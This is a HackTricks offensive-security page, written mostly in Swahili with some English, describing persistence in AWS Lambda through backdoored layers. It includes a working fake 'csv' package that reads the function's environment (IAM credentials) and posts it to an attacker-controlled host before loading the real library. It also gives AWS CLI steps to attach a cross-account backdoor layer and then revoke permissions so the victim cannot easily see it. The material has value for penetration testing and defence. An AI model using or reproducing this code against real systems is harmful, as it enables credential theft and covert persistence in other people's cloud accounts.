AWS - Lambda Layers Persistence

Support HackTricks

Lambda Layers

A Lambda layer ni archive ya .zip ambayo inaweza kuwa na msimbo wa ziada au maudhui mengine. Layer inaweza kuwa na maktaba, runtime ya kawaida, data, au faili za usanidi.

Inawezekana kujumuisha hadi layers tano kwa kazi. Unapojumuisha layer katika kazi, maudhui yanachukuliwa kwenye saraka ya /opt katika mazingira ya utekelezaji.

Kwa kawaida, layers unazounda ni binafsi kwa akaunti yako ya AWS. Unaweza kuchagua kushiriki layer na akaunti nyingine au kufanya layer hiyo kuwa ya umma. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la layer lililofutwa.

Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo.

Python load path

Njia ya kupakia ambayo Python itatumia katika lambda ni ifuatayo:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Check how the second and third positions are occupy by directories where lambda layers uncompress their files: /opt/python/lib/python3.9/site-packages and /opt/python

If an attacker managed to backdoor a used lambda layer or add one that will be executing arbitrary code when a common library is loaded, he will be able to execute malicious code with each lambda invocation.

Therefore, the requisites are:

  • Check libraries that are loaded by the victims code

  • Create a proxy library with lambda layers that will execute custom code and load the original library.

Preloaded libraries

When abusing this technique I found a difficulty: Some libraries are already loaded in python runtime when your code gets executed. I was expecting to find things like os or sys, but even json library was loaded. In order to abuse this persistence technique, the code needs to load a new library that isn't loaded when the code gets executed.

With a python code like this one it's possible to obtain the list of libraries that are pre loaded inside python runtime in lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Na hii ni orodha (hakikisha kwamba maktaba kama os au json tayari zipo)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Na hii ni orodha ya maktaba ambazo lambda inajumuisha zilizowekwa kwa default: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

Katika mfano huu hebu tuone kwamba msimbo unaolengwa unatumia csv. Tunakwenda kufanya backdoor kwenye uagizaji wa maktaba ya csv.

Ili kufanya hivyo, tutaunda directory csv yenye faili __init__.py ndani yake katika njia ambayo inapakuliwa na lambda: /opt/python/lib/python3.9/site-packages Kisha, wakati lambda inatekelezwa na kujaribu kupakua csv, faili yetu ya __init__.py itapakuliwa na kutekelezwa. Faili hii lazima:

  • Itekeleze payload yetu

  • Ipakue maktaba ya csv asilia

Tunaweza kufanya yote mawili kwa:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Kisha, tengeneza zip na hii code katika njia python/lib/python3.9/site-packages/__init__.py na uiweke kama lambda layer.

Unaweza kupata hii code katika https://github.com/carlospolop/LambdaLayerBackdoor

Payload iliyounganishwa it tuma IAM creds kwa seva WAKATI WA KWANZA inapoitwa au BAADA ya kurekebisha kontena la lambda (mabadiliko ya code au lambda baridi), lakini mbinu nyingine kama ifuatavyo zinaweza pia kuunganishwa:

External Layers

Kumbuka kwamba inawezekana kutumia lambda layers kutoka kwa akaunti za nje. Aidha, lambda inaweza kutumia layer kutoka kwa akaunti ya nje hata kama haina ruhusa. Pia kumbuka kwamba idadi ya juu ya layers ambazo lambda inaweza kuwa nazo ni 5.

Hivyo, ili kuboresha uwezo wa mbinu hii mshambuliaji anaweza:

  • Backdoor layer iliyopo ya mtumiaji (hakuna kitu ni cha nje)

  • Tengeneza layer katika akaunti yake, mpe akaunti ya mwathirika ruhusa kutumia layer, sanidi layer katika Lambda ya wahanga na ondoa ruhusa.

  • Lambda bado itakuwa na uwezo wa kutumia layer na mwathirika hata hana njia rahisi ya kupakua code za layers (kando na kupata rev shell ndani ya lambda)

  • Mwathirika hataona layers za nje zinazotumika na aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Support HackTricks

Last updated